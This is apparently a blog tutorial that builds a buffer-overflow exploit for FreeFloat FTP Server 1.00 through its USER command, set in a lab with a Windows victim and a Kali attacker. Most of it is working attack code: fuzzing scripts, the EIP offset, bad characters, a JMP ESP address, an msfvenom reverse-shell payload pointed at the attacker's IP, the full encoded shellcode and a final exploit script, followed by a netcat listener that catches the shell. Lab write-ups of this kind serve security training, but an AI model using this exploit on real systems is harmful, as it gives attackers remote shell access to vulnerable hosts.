Table of Contents

In this writeup i’ll demonstrate how to exploit Buffer Overflow in FreeFloat FTP Server on windows. The vulnerable application is can be downloaded from Here.

The Freefloat FTP Server has many vulnerable parameters which can be useful to practice and we will choose one of them here to do a full exercise.

 

Lab details

Victim Machine: Windows XP SP1 x64 2003

Application: FreeFloat Ftp Server (Version 1.00)

Attacker Machine: Kali Linux 2021.2

 

Getting Started

Run the application in the Windows machine. By double clicking the .exe file.

Make sure it is in running state. You can verify that by running netstat command

netstat -ano | FINDSTR 21

From a remote machine you can run nmap to enumerate the service.

nmap -sC -sV -p21 192.168.2.250
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-28 22:58 EDT
Nmap scan report for 192.168.2.250
Host is up (0.00040s latency).

PORT   STATE  SERVICE VERSION
21/tcp closed ftp
MAC Address: 00:0C:29:8E:FA:9F (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.77 seconds

You can also test the application by connecting to it via netcat.

nc 192.168.2.250 21
220 FreeFloat Ftp Server (Version 1.00).
USER anonymous
331 Password required for anonymous.
PASS anonymous
230 User anonymous logged in.

There are 2 parameters which are functioning: USER and PASS. In our case we will use USER parameter to exploit the application.

 

Step 1 - Discover the buffer size

We will use this code to discover the size of the buffer.

import socket

FUZZ = ""

# While true increase the variable FUZZ by adding 10 "A" until the program crashes
while True:
    FUZZ += "A" * 10
    print("Fuzzing with {} bytes".format(len(FUZZ)))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect(("192.168.2.250", 21))
    s.recv(1024)
    s.send(b"USER " + FUZZ.encode() + b"\r\n")
    s.close()

Here we can see that the script stopped at 240 bytes. It could be different for your machine.

python3 step_1.py  
Fuzzing with 10 bytes
Fuzzing with 20 bytes
Fuzzing with 30 bytes
Fuzzing with 40 bytes
Fuzzing with 50 bytes
Fuzzing with 60 bytes
Fuzzing with 70 bytes
Fuzzing with 80 bytes
Fuzzing with 90 bytes
Fuzzing with 100 bytes
Fuzzing with 110 bytes
Fuzzing with 120 bytes
Fuzzing with 130 bytes
Fuzzing with 140 bytes
Fuzzing with 150 bytes
Fuzzing with 160 bytes
Fuzzing with 170 bytes
Fuzzing with 180 bytes
Fuzzing with 190 bytes
Fuzzing with 200 bytes
Fuzzing with 210 bytes
Fuzzing with 220 bytes
Fuzzing with 230 bytes
Fuzzing with 240 bytes

If we actually look at the Windows machine, we can see the application crashed.

 

Step 2 - Overwriting EIP

Restart the application and attach/open with Immunity Debugger

Now that we know the maximum stack size is 240, we can modify our script to send those in just one packet. Lets try to run again, and see the Stack showing the multiple “A”, The stack is filled with the junk value as expected, after the program crashes. This script is intended send all the buffer size in one packet, we need to see if EIP value gets overwritten 41414141 (AAAA)

import socket

FUZZ = "A" * 250

print("Fuzzing with {} bytes".format(len(FUZZ)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("192.168.2.250", 21))
s.recv(1024)
s.send(b"USER " + FUZZ.encode() + b"\r\n")
s.close()

Now look at Immunity debugger console and after the crash a similar message should be shown, that [41414141], is the EIP register, which has been overwritten and the instruction is not found.

If we look at the EIP register it is now 41414141, which means, AAAA. At this point we know that the EIP instruction pointer can be controlled.

 

Step 3 - Controlling the instruction pointer

In this phase, we will control the instruction pointer by calculating the exact offset of the EIP register. First of all, we need to create a pattern using Metasploit pattern_create.rb script.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 250

Pattern generated by pattern_create.rb script.

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A

We need to modify the script a little bit to add this new value.

import socket

FUZZ = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"

print("Fuzzing with {} bytes of pattern".format(len(FUZZ)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("192.168.2.250", 21))
s.recv(1024)
s.send(b"USER " + FUZZ.encode() + b"\r\n")
s.close()

Run FTP Server again and inspect Immunity debugger, EIP value. We have 37684136 EIP Register Value.

Access violation and EIP register value showing on bottom bar.

Now that we have located the pattern in EIP, we need to find the position within those 250 bytes generated with pattern_create.rb, for that, we will use pattern_offset.rb, in this case the result is 230

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 37684136 -l 250 
[*] Exact match at offset 230

We need now to edit the script to send 230 bytes as A, followed by 4 bytes as B.

#!/usr/bin/python
import socket

# This script is intended the specific stack crash and 4 more characters to overwrite the EIP

FUZZ = "A" * 230
EIP = "B" * 4

print("Fuzzing with {} bytes".format(len(FUZZ)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("192.168.2.250", 21))
s.recv(1024)
s.send(b"USER " + FUZZ.encode() + EIP.encode() + b"\r\n")
s.close()

If we run BoF-Freefloat-4.py, we will notice that the EIP register value is now 42424242, which means, BBBB

 

Step 4 - Identify Bad Characters

Below we have the list of badchars, keep in mind that \x00 is always a badchar.

\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

We need to include that into the script and identify each of the characters not allowed. For that use this code, run it and check in Immunity Debugger.

#!/usr/bin/python
import socket

FUZZ = "A" * 230
EIP = "B" * 4
BADCHARS = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

print("Fuzzing with {} bytes".format(len(FUZZ)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("192.168.2.250", 21))
s.recv(1024)
s.send(b"USER " + FUZZ.encode() + EIP.encode() + BADCHARS + b"\r\n")
s.close()

Once it’s been run, In the stack section locate the ASCII conversion, where all the As are shown, right click it and select “Follow in Dump”

The “follow in dump” will locate the data in the hexadecimal section, so we can easily check for the absence of characters or where characters don’t follow the sequence, those mean bad characters.

In this image we can see 01 02 03 04 05 06 07 08 09 00 0E. It should be 01 02 03 04 05 06 07 08 09 0B 0C 0D 0E, this means that \x0b in our code needs to be removed. We need to keep doing the same until all Bad Characters are removed.

In this process we also identified \x0d as a bad character. After removing all the bad characters, this is the code.

import socket

# removing all the badchars \00 \x0a \x0d

FUZZ = "A" * 230
EIP = "B" * 4
BADCHARS = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

print("Fuzzing with {} bytes".format(len(FUZZ)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("192.168.2.250", 21))
s.recv(1024)
s.send(b"USER " + FUZZ.encode() + EIP.encode() + BADCHARS + b"\r\n")
s.close()

We should leave all the rest of the characters as sequence.

Now that we know the following

  • Buffer space: 230 bytes
  • EIP: buffer space + 4 bytes
  • Tested all bad characters (\x00\x0a\x0d)

We need to identify the executable module, where the EIP will be pointing, that is with the help of JMP ESP

 

Step 5 - Finding JMP ESP

EIP holds the address of the next instruction to be executed. That means in order for our shellcode to be executed concurrently with the overflow happening, we need to make sure that the EIP points to the location in memory where our shellcode will be located, it can be any module that executes JMP ESP.

  • Click on the Disassembly window, in the left upper location
  • Click on View -> Executable Modules (Alt + E)
  • Double click on USER32.dll process

We are presented with multiple modules and the Disassembly instruction. I choose “USER32.dll”. Remember, we need an address that does not contain bad characters.

  • After that, Right Click on the Disassembly window, in the left upper location.
  • Click on Search for -> All commands in all modules.

  • Type JMP ESP in Pop-up window and click Find.

Finder will highlight us this line.

7D96EBC9	FFE4	JMP ESP

We can run mona script to see if the “USER32” is ASLR protected (dynamic code execution)

  • !mona modules
  • Locate the .dll, in this case “USER32”, which has ASLR = False
!mona modules
!mona find -s "\xFF\xE4" -m USER32.dll

Now that we know the target 7D96EBC9, we should verify that we have successfully changed the execution flow to make the EIP execute the JMP ESP instruction within the SHELL32.dll. We will do this by overwriting EIP with the memory address of the JMP ESP instruction and then, once again, writing C’s thereafter. We will use this code to do this.

import socket

FUZZ = "A" * 230
EIP = b"\xC9\xEB\x96\x7D"
junk = "C" * 500

print("Fuzzing with {} bytes".format(len(FUZZ)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("192.168.2.250", 21))
s.recv(1024)
s.send(b"USER " + FUZZ.encode() + EIP + junk.encode() + b"\r\n")
s.close()

After successful execution of the script, we can check the stack data between the As and Cs we see the execution of USER32.

At this point we control the following

  • Buffer space: 230 bytes
  • EIP: buffer space + 4 bytes (JMP ESP 0x7D96EBC9)
  • Identified all bad characters (\x00\x0a\x0d)
  • Got successful execution of USER32.dll

 

Step 6 - Generating the exploit in Shellcode

The last thing we need to do is generate our shellcode using shikata_ga_nai encoder and add it to the Python script. To do this we need msfvenom.

msfvenom -p windows/shell_reverse_tcp LHOST="192.168.2.246" LPORT="5555" -f py -b '\x00\x0a\x0d' -e x86/shikata_ga_nai

-p = payload

-a = architecture

-f = Format

-b = Specify bad characters

-e = encoder

msfvenom -p windows/shell_reverse_tcp LHOST="192.168.2.246" LPORT="5555" -f py -b '\x00\x0a\x0d' -e x86/shikata_ga_nai
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1712 bytes
buf =  b""
buf += b"\xdb\xc8\xbb\xd3\xeb\x7b\xa0\xd9\x74\x24\xf4\x5a\x2b"
buf += b"\xc9\xb1\x52\x83\xea\xfc\x31\x5a\x13\x03\x89\xf8\x99"
buf += b"\x55\xd1\x17\xdf\x96\x29\xe8\x80\x1f\xcc\xd9\x80\x44"
buf += b"\x85\x4a\x31\x0e\xcb\x66\xba\x42\xff\xfd\xce\x4a\xf0"
buf += b"\xb6\x65\xad\x3f\x46\xd5\x8d\x5e\xc4\x24\xc2\x80\xf5"
buf += b"\xe6\x17\xc1\x32\x1a\xd5\x93\xeb\x50\x48\x03\x9f\x2d"
buf += b"\x51\xa8\xd3\xa0\xd1\x4d\xa3\xc3\xf0\xc0\xbf\x9d\xd2"
buf += b"\xe3\x6c\x96\x5a\xfb\x71\x93\x15\x70\x41\x6f\xa4\x50"
buf += b"\x9b\x90\x0b\x9d\x13\x63\x55\xda\x94\x9c\x20\x12\xe7"
buf += b"\x21\x33\xe1\x95\xfd\xb6\xf1\x3e\x75\x60\xdd\xbf\x5a"
buf += b"\xf7\x96\xcc\x17\x73\xf0\xd0\xa6\x50\x8b\xed\x23\x57"
buf += b"\x5b\x64\x77\x7c\x7f\x2c\x23\x1d\x26\x88\x82\x22\x38"
buf += b"\x73\x7a\x87\x33\x9e\x6f\xba\x1e\xf7\x5c\xf7\xa0\x07"
buf += b"\xcb\x80\xd3\x35\x54\x3b\x7b\x76\x1d\xe5\x7c\x79\x34"
buf += b"\x51\x12\x84\xb7\xa2\x3b\x43\xe3\xf2\x53\x62\x8c\x98"
buf += b"\xa3\x8b\x59\x0e\xf3\x23\x32\xef\xa3\x83\xe2\x87\xa9"
buf += b"\x0b\xdc\xb8\xd2\xc1\x75\x52\x29\x82\xb9\x0b\x33\xa4"
buf += b"\x52\x4e\x33\x5d\x10\xc7\xd5\x37\x46\x8e\x4e\xa0\xff"
buf += b"\x8b\x04\x51\xff\x01\x61\x51\x8b\xa5\x96\x1c\x7c\xc3"
buf += b"\x84\xc9\x8c\x9e\xf6\x5c\x92\x34\x9e\x03\x01\xd3\x5e"
buf += b"\x4d\x3a\x4c\x09\x1a\x8c\x85\xdf\xb6\xb7\x3f\xfd\x4a"
buf += b"\x21\x07\x45\x91\x92\x86\x44\x54\xae\xac\x56\xa0\x2f"
buf += b"\xe9\x02\x7c\x66\xa7\xfc\x3a\xd0\x09\x56\x95\x8f\xc3"
buf += b"\x3e\x60\xfc\xd3\x38\x6d\x29\xa2\xa4\xdc\x84\xf3\xdb"
buf += b"\xd1\x40\xf4\xa4\x0f\xf1\xfb\x7f\x94\x01\xb6\xdd\xbd"
buf += b"\x89\x1f\xb4\xff\xd7\x9f\x63\xc3\xe1\x23\x81\xbc\x15"
buf += b"\x3b\xe0\xb9\x52\xfb\x19\xb0\xcb\x6e\x1d\x67\xeb\xba"                                 

For this final stage we will use this code, We have added the shellcode, we are sending the data as follows:

  • Junk = 230
  • JMP ESP = 7D96EBC9
  • NOPs = “\x90” * 32
  • Shellcode
import socket

FUZZ = "A" * 230
EIP = b"\xC9\xEB\x96\x7D"
NOPS = b"\x90" * 32

buf = b""
buf += b"\xdb\xc8\xbb\xd3\xeb\x7b\xa0\xd9\x74\x24\xf4\x5a\x2b"
buf += b"\xc9\xb1\x52\x83\xea\xfc\x31\x5a\x13\x03\x89\xf8\x99"
buf += b"\x55\xd1\x17\xdf\x96\x29\xe8\x80\x1f\xcc\xd9\x80\x44"
buf += b"\x85\x4a\x31\x0e\xcb\x66\xba\x42\xff\xfd\xce\x4a\xf0"
buf += b"\xb6\x65\xad\x3f\x46\xd5\x8d\x5e\xc4\x24\xc2\x80\xf5"
buf += b"\xe6\x17\xc1\x32\x1a\xd5\x93\xeb\x50\x48\x03\x9f\x2d"
buf += b"\x51\xa8\xd3\xa0\xd1\x4d\xa3\xc3\xf0\xc0\xbf\x9d\xd2"
buf += b"\xe3\x6c\x96\x5a\xfb\x71\x93\x15\x70\x41\x6f\xa4\x50"
buf += b"\x9b\x90\x0b\x9d\x13\x63\x55\xda\x94\x9c\x20\x12\xe7"
buf += b"\x21\x33\xe1\x95\xfd\xb6\xf1\x3e\x75\x60\xdd\xbf\x5a"
buf += b"\xf7\x96\xcc\x17\x73\xf0\xd0\xa6\x50\x8b\xed\x23\x57"
buf += b"\x5b\x64\x77\x7c\x7f\x2c\x23\x1d\x26\x88\x82\x22\x38"
buf += b"\x73\x7a\x87\x33\x9e\x6f\xba\x1e\xf7\x5c\xf7\xa0\x07"
buf += b"\xcb\x80\xd3\x35\x54\x3b\x7b\x76\x1d\xe5\x7c\x79\x34"
buf += b"\x51\x12\x84\xb7\xa2\x3b\x43\xe3\xf2\x53\x62\x8c\x98"
buf += b"\xa3\x8b\x59\x0e\xf3\x23\x32\xef\xa3\x83\xe2\x87\xa9"
buf += b"\x0b\xdc\xb8\xd2\xc1\x75\x52\x29\x82\xb9\x0b\x33\xa4"
buf += b"\x52\x4e\x33\x5d\x10\xc7\xd5\x37\x46\x8e\x4e\xa0\xff"
buf += b"\x8b\x04\x51\xff\x01\x61\x51\x8b\xa5\x96\x1c\x7c\xc3"
buf += b"\x84\xc9\x8c\x9e\xf6\x5c\x92\x34\x9e\x03\x01\xd3\x5e"
buf += b"\x4d\x3a\x4c\x09\x1a\x8c\x85\xdf\xb6\xb7\x3f\xfd\x4a"
buf += b"\x21\x07\x45\x91\x92\x86\x44\x54\xae\xac\x56\xa0\x2f"
buf += b"\xe9\x02\x7c\x66\xa7\xfc\x3a\xd0\x09\x56\x95\x8f\xc3"
buf += b"\x3e\x60\xfc\xd3\x38\x6d\x29\xa2\xa4\xdc\x84\xf3\xdb"
buf += b"\xd1\x40\xf4\xa4\x0f\xf1\xfb\x7f\x94\x01\xb6\xdd\xbd"
buf += b"\x89\x1f\xb4\xff\xd7\x9f\x63\xc3\xe1\x23\x81\xbc\x15"
buf += b"\x3b\xe0\xb9\x52\xfb\x19\xb0\xcb\x6e\x1d\x67\xeb\xba"


print("Fuzzing with {} bytes".format(len(FUZZ)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("192.168.2.250", 21))
s.recv(1024)
s.send(b"USER " + FUZZ.encode() + EIP + NOPS + buf + b"\r\n")
s.close()

Our exploit should look like this:

Before we execute our code, we need to start our netcat listener on kali machine.

nc -nlvp 5555

Execute the python script and we’ll get the reverse shell on netcat listener.

 

Thanks for reading this post, if you like my work you can support by buying me a coffee. ☕️